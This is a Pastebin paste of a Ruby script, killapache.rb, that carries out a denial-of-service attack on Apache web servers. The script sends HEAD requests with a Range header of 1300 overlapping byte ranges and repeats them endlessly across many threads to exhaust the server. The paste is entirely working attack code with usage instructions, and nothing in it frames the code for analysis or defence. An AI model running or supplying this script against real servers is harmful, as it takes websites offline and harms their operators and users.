Advertisement
Guest User

killapache.rb

a guest
Aug 27th, 2011
382
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Ruby 1.00 KB | None | 0 0
  1. $DEBUG = true
  2. require "socket"
  3.  
  4. def simple_head_request_with_range(host, port, path, range)
  5.     socket = TCPSocket.new(host, port)
  6.     socket.puts  <<EOS
  7. HEAD #{path} HTTP/1.1
  8. Host: #{host}
  9. Range: #{range}
  10. Connection: close
  11.  
  12. EOS
  13.     socket.read
  14. end
  15.  
  16. if ARGV.size < 4
  17.     puts <<EOS
  18. usage: ruby killapache.rb <host> <port> <path> <numthreads>
  19. EOS
  20.     exit
  21. end
  22.  
  23. host = ARGV[0]
  24. port = ARGV[1]
  25. path = ARGV[2]
  26. numthreads = ARGV[3].to_i
  27.  
  28. if not numthreads > 0
  29.     puts <<EOS
  30. error: <numthreads> must be greater than 0
  31. EOS
  32.     exit
  33. end
  34.  
  35. evil_range = "bytes=#{(1..1300).map{|i| "0-#{i}"}.join(",")}"
  36.  
  37. puts <<EOS
  38. host=#{host}
  39. port=#{port}
  40. path=#{path}
  41. numthreads=#{numthreads}
  42.  
  43. EOS
  44. puts "==== test run ===="
  45. puts simple_head_request_with_range(host, port, path, evil_range)
  46.  
  47. puts "==== real run ===="
  48. loop do
  49.     sleep 0.01 while Thread.list.size > numthreads
  50.     Thread.new do
  51.         print ">"
  52.         STDOUT.flush
  53.         simple_head_request_with_range(host, port, path, evil_range)
  54.         print "<"
  55.         STDOUT.flush
  56.     end
  57. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement